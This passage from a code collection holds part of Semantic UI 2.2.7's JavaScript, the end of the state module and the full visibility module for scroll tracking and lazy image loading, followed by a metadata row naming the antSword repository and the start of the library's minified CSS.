= false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { module.error(error.method, query); return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; $.fn.state.settings = { // module info name : 'State', // debug output debug : false, // verbose debug output verbose : false, // namespace for events namespace : 'state', // debug data includes performance performance : true, // callback occurs on state change onActivate : function() {}, onDeactivate : function() {}, onChange : function() {}, // state test functions activateTest : function() { return true; }, deactivateTest : function() { return true; }, // whether to automatically map default states automatic : true, // activate / deactivate changes all elements instantiated at same time sync : false, // default flash text duration, used for temporarily changing text of an element flashDuration : 1000, // selector filter filter : { text : '.loading, .disabled', active : '.disabled' }, context : false, // error error: { beforeSend : 'The before send function has cancelled state change', method : 'The method you called is not defined.' }, // metadata metadata: { promise : 'promise', storedText : 'stored-text' }, // change class on state className: { active : 'active', disabled : 'disabled', error : 'error', loading : 'loading', success : 'success', warning : 'warning' }, selector: { // selector for text node text: false }, defaults : { input: { disabled : true, loading : true, active : true }, button: { disabled : true, loading : true, active : true, }, progress: { active : true, success : true, warning : true, error : true } }, states : { active : true, disabled : true, error : true, loading : true, success : true, warning : true }, text : { disabled : false, flash : false, hover : false, active : false, inactive : false, activate : false, deactivate : false } }; })( jQuery, window, document ); /*! * # Semantic UI 2.2.7 - Visibility * path_to_url * * * Released under the MIT license * path_to_url * */ ;(function ($, window, document, undefined) { "use strict"; window = (typeof window != 'undefined' && window.Math == Math) ? window : (typeof self != 'undefined' && self.Math == Math) ? self : Function('return this')() ; $.fn.visibility = function(parameters) { var $allModules = $(this), moduleSelector = $allModules.selector || '', time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), returnedValue, moduleCount = $allModules.length, loadedCount = 0 ; $allModules .each(function() { var settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.visibility.settings, parameters) : $.extend({}, $.fn.visibility.settings), className = settings.className, namespace = settings.namespace, error = settings.error, metadata = settings.metadata, eventNamespace = '.' + namespace, moduleNamespace = 'module-' + namespace, $window = $(window), $module = $(this), $context = $(settings.context), $placeholder, selector = $module.selector || '', instance = $module.data(moduleNamespace), requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || window.webkitRequestAnimationFrame || window.msRequestAnimationFrame || function(callback) { setTimeout(callback, 0); }, element = this, disabled = false, contextObserver, observer, module ; module = { initialize: function() { module.debug('Initializing', settings); module.setup.cache(); if( module.should.trackChanges() ) { if(settings.type == 'image') { module.setup.image(); } if(settings.type == 'fixed') { module.setup.fixed(); } if(settings.observeChanges) { module.observeChanges(); } module.bind.events(); } module.save.position(); if( !module.is.visible() ) { module.error(error.visible, $module); } if(settings.initialCheck) { module.checkVisibility(); } module.instantiate(); }, instantiate: function() { module.debug('Storing instance', module); $module .data(moduleNamespace, module) ; instance = module; }, destroy: function() { module.verbose('Destroying previous module'); if(observer) { observer.disconnect(); } if(contextObserver) { contextObserver.disconnect(); } $window .off('load' + eventNamespace, module.event.load) .off('resize' + eventNamespace, module.event.resize) ; $context .off('scroll' + eventNamespace, module.event.scroll) .off('scrollchange' + eventNamespace, module.event.scrollchange) ; if(settings.type == 'fixed') { module.resetFixed(); module.remove.placeholder(); } $module .off(eventNamespace) .removeData(moduleNamespace) ; }, observeChanges: function() { if('MutationObserver' in window) { contextObserver = new MutationObserver(module.event.contextChanged); observer = new MutationObserver(module.event.changed); contextObserver.observe(document, { childList : true, subtree : true }); observer.observe(element, { childList : true, subtree : true }); module.debug('Setting up mutation observer', observer); } }, bind: { events: function() { module.verbose('Binding visibility events to scroll and resize'); if(settings.refreshOnLoad) { $window .on('load' + eventNamespace, module.event.load) ; } $window .on('resize' + eventNamespace, module.event.resize) ; // pub/sub pattern $context .off('scroll' + eventNamespace) .on('scroll' + eventNamespace, module.event.scroll) .on('scrollchange' + eventNamespace, module.event.scrollchange) ; } }, event: { changed: function(mutations) { module.verbose('DOM tree modified, updating visibility calculations'); module.timer = setTimeout(function() { module.verbose('DOM tree modified, updating sticky menu'); module.refresh(); }, 100); }, contextChanged: function(mutations) { [].forEach.call(mutations, function(mutation) { if(mutation.removedNodes) { [].forEach.call(mutation.removedNodes, function(node) { if(node == element || $(node).find(element).length > 0) { module.debug('Element removed from DOM, tearing down events'); module.destroy(); } }); } }); }, resize: function() { module.debug('Window resized'); if(settings.refreshOnResize) { requestAnimationFrame(module.refresh); } }, load: function() { module.debug('Page finished loading'); requestAnimationFrame(module.refresh); }, // publishes scrollchange event on one scroll scroll: function() { if(settings.throttle) { clearTimeout(module.timer); module.timer = setTimeout(function() { $context.triggerHandler('scrollchange' + eventNamespace, [ $context.scrollTop() ]); }, settings.throttle); } else { requestAnimationFrame(function() { $context.triggerHandler('scrollchange' + eventNamespace, [ $context.scrollTop() ]); }); } }, // subscribes to scrollchange scrollchange: function(event, scrollPosition) { module.checkVisibility(scrollPosition); }, }, precache: function(images, callback) { if (!(images instanceof Array)) { images = [images]; } var imagesLength = images.length, loadedCounter = 0, cache = [], cacheImage = document.createElement('img'), handleLoad = function() { loadedCounter++; if (loadedCounter >= images.length) { if ($.isFunction(callback)) { callback(); } } } ; while (imagesLength--) { cacheImage = document.createElement('img'); cacheImage.onload = handleLoad; cacheImage.onerror = handleLoad; cacheImage.src = images[imagesLength]; cache.push(cacheImage); } }, enableCallbacks: function() { module.debug('Allowing callbacks to occur'); disabled = false; }, disableCallbacks: function() { module.debug('Disabling all callbacks temporarily'); disabled = true; }, should: { trackChanges: function() { if(methodInvoked) { module.debug('One time query, no need to bind events'); return false; } module.debug('Callbacks being attached'); return true; } }, setup: { cache: function() { module.cache = { occurred : {}, screen : {}, element : {}, }; }, image: function() { var src = $module.data(metadata.src) ; if(src) { module.verbose('Lazy loading image', src); settings.once = true; settings.observeChanges = false; // show when top visible settings.onOnScreen = function() { module.debug('Image on screen', element); module.precache(src, function() { module.set.image(src, function() { loadedCount++; if(loadedCount == moduleCount) { settings.onAllLoaded.call(this); } settings.onLoad.call(this); }); }); }; } }, fixed: function() { module.debug('Setting up fixed'); settings.once = false; settings.observeChanges = false; settings.initialCheck = true; settings.refreshOnLoad = true; if(!parameters.transition) { settings.transition = false; } module.create.placeholder(); module.debug('Added placeholder', $placeholder); settings.onTopPassed = function() { module.debug('Element passed, adding fixed position', $module); module.show.placeholder(); module.set.fixed(); if(settings.transition) { if($.fn.transition !== undefined) { $module.transition(settings.transition, settings.duration); } } }; settings.onTopPassedReverse = function() { module.debug('Element returned to position, removing fixed', $module); module.hide.placeholder(); module.remove.fixed(); }; } }, create: { placeholder: function() { module.verbose('Creating fixed position placeholder'); $placeholder = $module .clone(false) .css('display', 'none') .addClass(className.placeholder) .insertAfter($module) ; } }, show: { placeholder: function() { module.verbose('Showing placeholder'); $placeholder .css('display', 'block') .css('visibility', 'hidden') ; } }, hide: { placeholder: function() { module.verbose('Hiding placeholder'); $placeholder .css('display', 'none') .css('visibility', '') ; } }, set: { fixed: function() { module.verbose('Setting element to fixed position'); $module .addClass(className.fixed) .css({ position : 'fixed', top : settings.offset + 'px', left : 'auto', zIndex : settings.zIndex }) ; settings.onFixed.call(element); }, image: function(src, callback) { $module .attr('src', src) ; if(settings.transition) { if( $.fn.transition !== undefined ) { $module.transition(settings.transition, settings.duration, callback); } else { $module.fadeIn(settings.duration, callback); } } else { $module.show(); } } }, is: { onScreen: function() { var calculations = module.get.elementCalculations() ; return calculations.onScreen; }, offScreen: function() { var calculations = module.get.elementCalculations() ; return calculations.offScreen; }, visible: function() { if(module.cache && module.cache.element) { return !(module.cache.element.width === 0 && module.cache.element.offset.top === 0); } return false; } }, refresh: function() { module.debug('Refreshing constants (width/height)'); if(settings.type == 'fixed') { module.resetFixed(); } module.reset(); module.save.position(); if(settings.checkOnRefresh) { module.checkVisibility(); } settings.onRefresh.call(element); }, resetFixed: function () { module.remove.fixed(); module.remove.occurred(); }, reset: function() { module.verbose('Resetting all cached values'); if( $.isPlainObject(module.cache) ) { module.cache.screen = {}; module.cache.element = {}; } }, checkVisibility: function(scroll) { module.verbose('Checking visibility of element', module.cache.element); if( !disabled && module.is.visible() ) { // save scroll position module.save.scroll(scroll); // update calculations derived from scroll module.save.calculations(); // percentage module.passed(); // reverse (must be first) module.passingReverse(); module.topVisibleReverse(); module.bottomVisibleReverse(); module.topPassedReverse(); module.bottomPassedReverse(); // one time module.onScreen(); module.offScreen(); module.passing(); module.topVisible(); module.bottomVisible(); module.topPassed(); module.bottomPassed(); // on update callback if(settings.onUpdate) { settings.onUpdate.call(element, module.get.elementCalculations()); } } }, passed: function(amount, newCallback) { var calculations = module.get.elementCalculations(), amountInPixels ; // assign callback if(amount && newCallback) { settings.onPassed[amount] = newCallback; } else if(amount !== undefined) { return (module.get.pixelsPassed(amount) > calculations.pixelsPassed); } else if(calculations.passing) { $.each(settings.onPassed, function(amount, callback) { if(calculations.bottomVisible || calculations.pixelsPassed > module.get.pixelsPassed(amount)) { module.execute(callback, amount); } else if(!settings.once) { module.remove.occurred(callback); } }); } }, onScreen: function(newCallback) { var calculations = module.get.elementCalculations(), callback = newCallback || settings.onOnScreen, callbackName = 'onScreen' ; if(newCallback) { module.debug('Adding callback for onScreen', newCallback); settings.onOnScreen = newCallback; } if(calculations.onScreen) { module.execute(callback, callbackName); } else if(!settings.once) { module.remove.occurred(callbackName); } if(newCallback !== undefined) { return calculations.onOnScreen; } }, offScreen: function(newCallback) { var calculations = module.get.elementCalculations(), callback = newCallback || settings.onOffScreen, callbackName = 'offScreen' ; if(newCallback) { module.debug('Adding callback for offScreen', newCallback); settings.onOffScreen = newCallback; } if(calculations.offScreen) { module.execute(callback, callbackName); } else if(!settings.once) { module.remove.occurred(callbackName); } if(newCallback !== undefined) { return calculations.onOffScreen; } }, passing: function(newCallback) { var calculations = module.get.elementCalculations(), callback = newCallback || settings.onPassing, callbackName = 'passing' ; if(newCallback) { module.debug('Adding callback for passing', newCallback); settings.onPassing = newCallback; } if(calculations.passing) { module.execute(callback, callbackName); } else if(!settings.once) { module.remove.occurred(callbackName); } if(newCallback !== undefined) { return calculations.passing; } }, topVisible: function(newCallback) { var calculations = module.get.elementCalculations(), callback = newCallback || settings.onTopVisible, callbackName = 'topVisible' ; if(newCallback) { module.debug('Adding callback for top visible', newCallback); settings.onTopVisible = newCallback; } if(calculations.topVisible) { module.execute(callback, callbackName); } else if(!settings.once) { module.remove.occurred(callbackName); } if(newCallback === undefined) { return calculations.topVisible; } }, bottomVisible: function(newCallback) { var calculations = module.get.elementCalculations(), callback = newCallback || settings.onBottomVisible, callbackName = 'bottomVisible' ; if(newCallback) { module.debug('Adding callback for bottom visible', newCallback); settings.onBottomVisible = newCallback; } if(calculations.bottomVisible) { module.execute(callback, callbackName); } else if(!settings.once) { module.remove.occurred(callbackName); } if(newCallback === undefined) { return calculations.bottomVisible; } }, topPassed: function(newCallback) { var calculations = module.get.elementCalculations(), callback = newCallback || settings.onTopPassed, callbackName = 'topPassed' ; if(newCallback) { module.debug('Adding callback for top passed', newCallback); settings.onTopPassed = newCallback; } if(calculations.topPassed) { module.execute(callback, callbackName); } else if(!settings.once) { module.remove.occurred(callbackName); } if(newCallback === undefined) { return calculations.topPassed; } }, bottomPassed: function(newCallback) { var calculations = module.get.elementCalculations(), callback = newCallback || settings.onBottomPassed, callbackName = 'bottomPassed' ; if(newCallback) { module.debug('Adding callback for bottom passed', newCallback); settings.onBottomPassed = newCallback; } if(calculations.bottomPassed) { module.execute(callback, callbackName); } else if(!settings.once) { module.remove.occurred(callbackName); } if(newCallback === undefined) { return calculations.bottomPassed; } }, passingReverse: function(newCallback) { var calculations = module.get.elementCalculations(), callback = newCallback || settings.onPassingReverse, callbackName = 'passingReverse' ; if(newCallback) { module.debug('Adding callback for passing reverse', newCallback); settings.onPassingReverse = newCallback; } if(!calculations.passing) { if(module.get.occurred('passing')) { module.execute(callback, callbackName); } } else if(!settings.once) { module.remove.occurred(callbackName); } if(newCallback !== undefined) { return !calculations.passing; } }, topVisibleReverse: function(newCallback) { var calculations = module.get.elementCalculations(), callback = newCallback || settings.onTopVisibleReverse, callbackName = 'topVisibleReverse' ; if(newCallback) { module.debug('Adding callback for top visible reverse', newCallback); settings.onTopVisibleReverse = newCallback; } if(!calculations.topVisible) { if(module.get.occurred('topVisible')) { module.execute(callback, callbackName); } } else if(!settings.once) { module.remove.occurred(callbackName); } if(newCallback === undefined) { return !calculations.topVisible; } }, bottomVisibleReverse: function(newCallback) { var calculations = module.get.elementCalculations(), callback = newCallback || settings.onBottomVisibleReverse, callbackName = 'bottomVisibleReverse' ; if(newCallback) { module.debug('Adding callback for bottom visible reverse', newCallback); settings.onBottomVisibleReverse = newCallback; } if(!calculations.bottomVisible) { if(module.get.occurred('bottomVisible')) { module.execute(callback, callbackName); } } else if(!settings.once) { module.remove.occurred(callbackName); } if(newCallback === undefined) { return !calculations.bottomVisible; } }, topPassedReverse: function(newCallback) { var calculations = module.get.elementCalculations(), callback = newCallback || settings.onTopPassedReverse, callbackName = 'topPassedReverse' ; if(newCallback) { module.debug('Adding callback for top passed reverse', newCallback); settings.onTopPassedReverse = newCallback; } if(!calculations.topPassed) { if(module.get.occurred('topPassed')) { module.execute(callback, callbackName); } } else if(!settings.once) { module.remove.occurred(callbackName); } if(newCallback === undefined) { return !calculations.onTopPassed; } }, bottomPassedReverse: function(newCallback) { var calculations = module.get.elementCalculations(), callback = newCallback || settings.onBottomPassedReverse, callbackName = 'bottomPassedReverse' ; if(newCallback) { module.debug('Adding callback for bottom passed reverse', newCallback); settings.onBottomPassedReverse = newCallback; } if(!calculations.bottomPassed) { if(module.get.occurred('bottomPassed')) { module.execute(callback, callbackName); } } else if(!settings.once) { module.remove.occurred(callbackName); } if(newCallback === undefined) { return !calculations.bottomPassed; } }, execute: function(callback, callbackName) { var calculations = module.get.elementCalculations(), screen = module.get.screenCalculations() ; callback = callback || false; if(callback) { if(settings.continuous) { module.debug('Callback being called continuously', callbackName, calculations); callback.call(element, calculations, screen); } else if(!module.get.occurred(callbackName)) { module.debug('Conditions met', callbackName, calculations); callback.call(element, calculations, screen); } } module.save.occurred(callbackName); }, remove: { fixed: function() { module.debug('Removing fixed position'); $module .removeClass(className.fixed) .css({ position : '', top : '', left : '', zIndex : '' }) ; settings.onUnfixed.call(element); }, placeholder: function() { module.debug('Removing placeholder content'); if($placeholder) { $placeholder.remove(); } }, occurred: function(callback) { if(callback) { var occurred = module.cache.occurred ; if(occurred[callback] !== undefined && occurred[callback] === true) { module.debug('Callback can now be called again', callback); module.cache.occurred[callback] = false; } } else { module.cache.occurred = {}; } } }, save: { calculations: function() { module.verbose('Saving all calculations necessary to determine positioning'); module.save.direction(); module.save.screenCalculations(); module.save.elementCalculations(); }, occurred: function(callback) { if(callback) { if(module.cache.occurred[callback] === undefined || (module.cache.occurred[callback] !== true)) { module.verbose('Saving callback occurred', callback); module.cache.occurred[callback] = true; } } }, scroll: function(scrollPosition) { scrollPosition = scrollPosition + settings.offset || $context.scrollTop() + settings.offset; module.cache.scroll = scrollPosition; }, direction: function() { var scroll = module.get.scroll(), lastScroll = module.get.lastScroll(), direction ; if(scroll > lastScroll && lastScroll) { direction = 'down'; } else if(scroll < lastScroll && lastScroll) { direction = 'up'; } else { direction = 'static'; } module.cache.direction = direction; return module.cache.direction; }, elementPosition: function() { var element = module.cache.element, screen = module.get.screenSize() ; module.verbose('Saving element position'); // (quicker than $.extend) element.fits = (element.height < screen.height); element.offset = $module.offset(); element.width = $module.outerWidth(); element.height = $module.outerHeight(); // store module.cache.element = element; return element; }, elementCalculations: function() { var screen = module.get.screenCalculations(), element = module.get.elementPosition() ; // offset if(settings.includeMargin) { element.margin = {}; element.margin.top = parseInt($module.css('margin-top'), 10); element.margin.bottom = parseInt($module.css('margin-bottom'), 10); element.top = element.offset.top - element.margin.top; element.bottom = element.offset.top + element.height + element.margin.bottom; } else { element.top = element.offset.top; element.bottom = element.offset.top + element.height; } // visibility element.topVisible = (screen.bottom >= element.top); element.topPassed = (screen.top >= element.top); element.bottomVisible = (screen.bottom >= element.bottom); element.bottomPassed = (screen.top >= element.bottom); element.pixelsPassed = 0; element.percentagePassed = 0; // meta calculations element.onScreen = (element.topVisible && !element.bottomPassed); element.passing = (element.topPassed && !element.bottomPassed); element.offScreen = (!element.onScreen); // passing calculations if(element.passing) { element.pixelsPassed = (screen.top - element.top); element.percentagePassed = (screen.top - element.top) / element.height; } module.cache.element = element; module.verbose('Updated element calculations', element); return element; }, screenCalculations: function() { var scroll = module.get.scroll() ; module.save.direction(); module.cache.screen.top = scroll; module.cache.screen.bottom = scroll + module.cache.screen.height; return module.cache.screen; }, screenSize: function() { module.verbose('Saving window position'); module.cache.screen = { height: $context.height() }; }, position: function() { module.save.screenSize(); module.save.elementPosition(); } }, get: { pixelsPassed: function(amount) { var element = module.get.elementCalculations() ; if(amount.search('%') > -1) { return ( element.height * (parseInt(amount, 10) / 100) ); } return parseInt(amount, 10); }, occurred: function(callback) { return (module.cache.occurred !== undefined) ? module.cache.occurred[callback] || false : false ; }, direction: function() { if(module.cache.direction === undefined) { module.save.direction(); } return module.cache.direction; }, elementPosition: function() { if(module.cache.element === undefined) { module.save.elementPosition(); } return module.cache.element; }, elementCalculations: function() { if(module.cache.element === undefined) { module.save.elementCalculations(); } return module.cache.element; }, screenCalculations: function() { if(module.cache.screen === undefined) { module.save.screenCalculations(); } return module.cache.screen; }, screenSize: function() { if(module.cache.screen === undefined) { module.save.screenSize(); } return module.cache.screen; }, scroll: function() { if(module.cache.scroll === undefined) { module.save.scroll(); } return module.cache.scroll; }, lastScroll: function() { if(module.cache.screen === undefined) { module.debug('First scroll event, no last scroll could be found'); return false; } return module.cache.screen.top; } }, setting: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { settings[name] = value; } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(!settings.silent && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(!settings.silent && settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { if(!settings.silent) { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); } }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { module.error(error.method, query); return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } instance.save.scroll(); instance.save.calculations(); module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; $.fn.visibility.settings = { name : 'Visibility', namespace : 'visibility', debug : false, verbose : false, performance : true, // whether to use mutation observers to follow changes observeChanges : true, // check position immediately on init initialCheck : true, // whether to refresh calculations after all page images load refreshOnLoad : true, // whether to refresh calculations after page resize event refreshOnResize : true, // should call callbacks on refresh event (resize, etc) checkOnRefresh : true, // callback should only occur one time once : true, // callback should fire continuously whe evaluates to true continuous : false, // offset to use with scroll top offset : 0, // whether to include margin in elements position includeMargin : false, // scroll context for visibility checks context : window, // visibility check delay in ms (defaults to animationFrame) throttle : false, // special visibility type (image, fixed) type : false, // z-index to use with visibility 'fixed' zIndex : '10', // image only animation settings transition : 'fade in', duration : 1000, // array of callbacks for percentage onPassed : {}, // standard callbacks onOnScreen : false, onOffScreen : false, onPassing : false, onTopVisible : false, onBottomVisible : false, onTopPassed : false, onBottomPassed : false, // reverse callbacks onPassingReverse : false, onTopVisibleReverse : false, onBottomVisibleReverse : false, onTopPassedReverse : false, onBottomPassedReverse : false, // special callbacks for image onLoad : function() {}, onAllLoaded : function() {}, // special callbacks for fixed position onFixed : function() {}, onUnfixed : function() {}, // utility callbacks onUpdate : false, // disabled by default for performance onRefresh : function(){}, metadata : { src: 'src' }, className: { fixed : 'fixed', placeholder : 'placeholder' }, error : { method : 'The method you called is not defined.', visible : 'Element is hidden, you must call refresh after element becomes visible' } }; })( jQuery, window, document ); ```
/content/code_sandbox/static/libs/semanticui/semantic.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
136,573
```css /* * # Semantic UI - 2.2.7 * path_to_url * path_to_url * * Released under the MIT license * path_to_url * */ @import url(path_to_url * # Semantic UI 2.2.7 - Reset * path_to_url * * * Released under the MIT license * path_to_url * * # Semantic UI 2.2.7 - Site * path_to_url * * * Released under the MIT license * path_to_url * */body,html{height:100%}html{font-size:14px}body{margin:0;padding:0;overflow-x:hidden;min-width:320px;background:#fff;font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;font-size:14px;line-height:1.4285em;color:rgba(0,0,0,.87);font-smoothing:antialiased}h1,h2,h3,h4,h5{font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;line-height:1.2857em;margin:calc(2rem - .14285em) 0 1rem;font-weight:700;padding:0}h1{min-height:1rem;font-size:2rem}h2{font-size:1.714rem}h3{font-size:1.28rem}h4{font-size:1.071rem}h5{font-size:1rem}h1:first-child,h2:first-child,h3:first-child,h4:first-child,h5:first-child{margin-top:0}h1:last-child,h2:last-child,h3:last-child,h4:last-child,h5:last-child{margin-bottom:0}p{margin:0 0 1em;line-height:1.4285em}p:first-child{margin-top:0}p:last-child{margin-bottom:0}a{color:#4183c4;text-decoration:none}a:hover{color:#1e70bf;text-decoration:none}::-webkit-selection{background-color:#cce2ff;color:rgba(0,0,0,.87)}::-moz-selection{background-color:#cce2ff;color:rgba(0,0,0,.87)}::selection{background-color:#cce2ff;color:rgba(0,0,0,.87)}input::-webkit-selection,textarea::-webkit-selection{background-color:rgba(100,100,100,.4);color:rgba(0,0,0,.87)}input::-moz-selection,textarea::-moz-selection{background-color:rgba(100,100,100,.4);color:rgba(0,0,0,.87)}input::selection,textarea::selection{background-color:rgba(100,100,100,.4);color:rgba(0,0,0,.87)}/*! * # Semantic UI 2.2.7 - Button * path_to_url * * * Released under the MIT license * path_to_url * */.ui.button{cursor:pointer;display:inline-block;min-height:1em;outline:0;border:none;vertical-align:baseline;background:#e0e1e2 none;color:rgba(0,0,0,.6);font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;margin:0 .25em 0 0;padding:.78571429em 1.5em .78571429em;text-transform:none;text-shadow:none;font-weight:700;line-height:1em;font-style:normal;text-align:center;text-decoration:none;border-radius:.28571429rem;box-shadow:0 0 0 1px transparent inset,0 0 0 0 rgba(34,36,38,.15) inset;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-transition:opacity .1s ease,background-color .1s ease,color .1s ease,box-shadow .1s ease,background .1s ease;transition:opacity .1s ease,background-color .1s ease,color .1s ease,box-shadow .1s ease,background .1s ease;will-change:'';-webkit-tap-highlight-color:transparent}.ui.button:hover{background-color:#cacbcd;background-image:none;box-shadow:0 0 0 1px transparent inset,0 0 0 0 rgba(34,36,38,.15) inset;color:rgba(0,0,0,.8)}.ui.button:hover .icon{opacity:.85}.ui.button:focus{background-color:#cacbcd;color:rgba(0,0,0,.8);background-image:''!important;box-shadow:''!important}.ui.button:focus .icon{opacity:.85}.ui.active.button:active,.ui.button:active{background-color:#babbbc;background-image:'';color:rgba(0,0,0,.9);box-shadow:0 0 0 1px transparent inset,none}.ui.active.button{background-color:#c0c1c2;background-image:none;box-shadow:0 0 0 1px transparent inset;color:rgba(0,0,0,.95)}.ui.active.button:hover{background-color:#c0c1c2;background-image:none;color:rgba(0,0,0,.95)}.ui.active.button:active{background-color:#c0c1c2;background-image:none}.ui.loading.loading.loading.loading.loading.loading.button{position:relative;cursor:default;text-shadow:none!important;color:transparent!important;opacity:1;pointer-events:auto;-webkit-transition:all 0s linear,opacity .1s ease;transition:all 0s linear,opacity .1s ease}.ui.loading.button:before{position:absolute;content:'';top:50%;left:50%;margin:-.64285714em 0 0 -.64285714em;width:1.28571429em;height:1.28571429em;border-radius:500rem;border:.2em solid rgba(0,0,0,.15)}.ui.loading.button:after{position:absolute;content:'';top:50%;left:50%;margin:-.64285714em 0 0 -.64285714em;width:1.28571429em;height:1.28571429em;-webkit-animation:button-spin .6s linear;animation:button-spin .6s linear;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;border-radius:500rem;border-color:#fff transparent transparent;border-style:solid;border-width:.2em;box-shadow:0 0 0 1px transparent}.ui.labeled.icon.loading.button .icon{background-color:transparent;box-shadow:none}@-webkit-keyframes button-spin{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes button-spin{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.ui.basic.loading.button:not(.inverted):before{border-color:rgba(0,0,0,.1)}.ui.basic.loading.button:not(.inverted):after{border-top-color:#767676}.ui.button:disabled,.ui.buttons .disabled.button,.ui.disabled.active.button,.ui.disabled.button,.ui.disabled.button:hover{cursor:default;opacity:.45!important;background-image:none!important;box-shadow:none!important;pointer-events:none!important}.ui.basic.buttons .ui.disabled.button{border-color:rgba(34,36,38,.5)}.ui.animated.button{position:relative;overflow:hidden;padding-right:0!important;vertical-align:middle;z-index:1}.ui.animated.button .content{will-change:transform,opacity}.ui.animated.button .visible.content{position:relative;margin-right:1.5em}.ui.animated.button .hidden.content{position:absolute;width:100%}.ui.animated.button .hidden.content,.ui.animated.button .visible.content{-webkit-transition:right .3s ease 0s;transition:right .3s ease 0s}.ui.animated.button .visible.content{left:auto;right:0}.ui.animated.button .hidden.content{top:50%;left:auto;right:-100%;margin-top:-.5em}.ui.animated.button:focus .visible.content,.ui.animated.button:hover .visible.content{left:auto;right:200%}.ui.animated.button:focus .hidden.content,.ui.animated.button:hover .hidden.content{left:auto;right:0}.ui.vertical.animated.button .hidden.content,.ui.vertical.animated.button .visible.content{-webkit-transition:top .3s ease,-webkit-transform .3s ease;transition:top .3s ease,-webkit-transform .3s ease;transition:top .3s ease,transform .3s ease;transition:top .3s ease,transform .3s ease,-webkit-transform .3s ease}.ui.vertical.animated.button .visible.content{-webkit-transform:translateY(0);transform:translateY(0);right:auto}.ui.vertical.animated.button .hidden.content{top:-50%;left:0;right:auto}.ui.vertical.animated.button:focus .visible.content,.ui.vertical.animated.button:hover 